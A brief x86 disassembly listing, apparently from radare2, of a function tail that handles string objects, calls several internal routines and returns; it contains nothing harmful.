call fcn.0043f55e
mov byte [ebp - 4], 2
lea eax, [ebp - 0x22c]
cmp dword [ebp - 0x218], 0x10
lea ecx, [ebp - 0x244]
push dword [ebp - 0x21c]
cmovae eax, dword [ebp - 0x22c]
push eax
call fcn.0046a372
push eax
mov ecx, esi
call fcn.00469e2b
lea ecx, [ebp - 0x244]
call fcn.0046a23d
lea ecx, [ebp - 0x22c]
call fcn.0046a23d
lea ecx, [ebp - 0x25c]
call fcn.0046d98d
mov eax, esi
call fcn.0049f9de
ret